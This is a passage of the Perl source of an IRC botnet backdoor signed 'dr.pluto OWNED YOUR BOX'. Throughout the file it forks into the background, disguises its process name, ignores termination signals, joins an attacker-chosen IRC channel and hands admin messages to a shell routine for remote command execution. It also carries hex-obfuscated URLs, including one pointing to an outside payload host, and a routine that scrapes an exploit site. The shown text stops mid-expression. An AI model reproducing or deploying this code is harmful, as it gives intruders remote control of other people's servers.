#!/usr/bin/perl # ################################################################################################## use HTTP::Request; use LWP::UserAgent; ###################[ CONFIGURATION ]############################################################## my $linas_max='5'; # Avoid Flood # my $sleep='7'; # sleep time # my $VERSAO = "2.3.4-1"; # Version morgan update # #------------------[ dont change this ]----------------########################################### $servidor=$ARGV[0] unless $servidor; # server irc # my $nick=$ARGV[1]; # nick bot # my $ircname = $ARGV[2]; # ident for bot # my @canais=('#'.$ARGV[3]); # Channel join to bot # my @adms=($ARGV[4]); # admin nick name # my $processo = $ARGV[5]; # fake process # chop (my $realname = `hostname`); # Full Name # my $porta='6667'; # Server PORT # my @cmdstring ='http://www.apnic.net/index.html?'; # Dont change this or scan is null # my @infostring ='http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/injkbot.txt?'; # Dont change this or unknow info # # # # ################################################################################################## my $urlinjk = "\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6f\x6e\x62\x6f\x79\x2e\x6e\x65\x74\x2f\x72\x35\x37\x3f"; my $cmdsukses= "\x42\x6f\x74\x20\x6c\x6f\x61\x64\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x2e\x2e\x2e\x2e\x2e\x20\x5b\x42\x61\x6c\x69\x65\x6d\x20\x48\x61\x63\x6b\x65\x72\x20\x53\x63\x61\x6e\x6e\x65\x72\x5d\n"; $cmderror="\x44\x61\x73\x61\x72\x20\x68\x6f\x6d\x6f\x20\x62\x75\x73\x75\x6b\x20\x21\x21\x21\x21\x20\x45\x72\x72\x6f\x72\x20\x74\x75\x68\x20\x6d\x61\x73\x75\x6b\x69\x6e\x20\x69\x6e\x70\x75\x74\x20\x79\x67\x20\x62\x65\x6e\x65\x72\x20\x64\x6f\x6e\x67\x20\x21\x21\x21\n"; if (! $ARGV[1]){die ($cmderror);}if (! $ARGV[2]){die ($cmderror);}if (! $ARGV[3]){die ($cmderror);}if (! $ARGV[4]){die ($cmderror);}if (! $ARGV[5]){die ($cmderror);} print $cmdsukses; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|\!bht)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1", "$pn"); } else { shell("$onde", "$arg"); } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick-".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal"); sendraw("PRIVMSG @adms :You Are My Master"); } } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub bfunc { my $msgpriv = "$_[2]"; my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^nick (.*)/) { sendraw($IRC_cur_socket, "NICK ".$1); $nick=$1; } if ($funcarg =~ /^join (.*)/) { sendraw($IRC_cur_socket, "JOIN ".$1); } if ($funcarg =~ /^part (.*)/) { sendraw($IRC_cur_socket, "PART ".$1); } if ($funcarg =~ /^msg\s+(\S+) (.*)/) { sendraw($IRC_cur_socket, "PRIVMSG ".$1." :".$2); } if ($funcarg =~ /^op (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +o ".$1); } if ($funcarg =~ /^deop (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -o ".$1); } if ($funcarg =~ /^voice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl +v ".$1); } if ($funcarg =~ /^die (.*)/) { sendraw($IRC_cur_socket, "QUIT :".$1); $killd = "kill -9 ".fork; system (`$killd`); } if ($funcarg =~ /^devoice (.*)/) { sendraw($IRC_cur_socket, "MODE $printl -v ".$1); } if ($funcarg =~ /^say (.*)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :".$1); } if ($funcarg =~ /^reset(.*)/) { sendraw($IRC_cur_socket, "QUIT :Di3 for my Master"); } if ($funcarg =~ /^die(.*)/) { if ($1 eq ""){ sendraw($IRC_cur_socket, "QUIT :Di3 for my Master"); $killd = "kill -9 ".fork; system (`$killd`); } } if ($funcarg =~ /^milw0rm(.*)/) { my $reqm=HTTP::Request->new(GET=>"http://www.milw0rm.com/webapps.php"); my $uam=LWP::UserAgent->new();$uam->timeout(10); my $responsem=$uam->request($reqm);$pagefx = $responsem->content; while ($pagefx =~ m/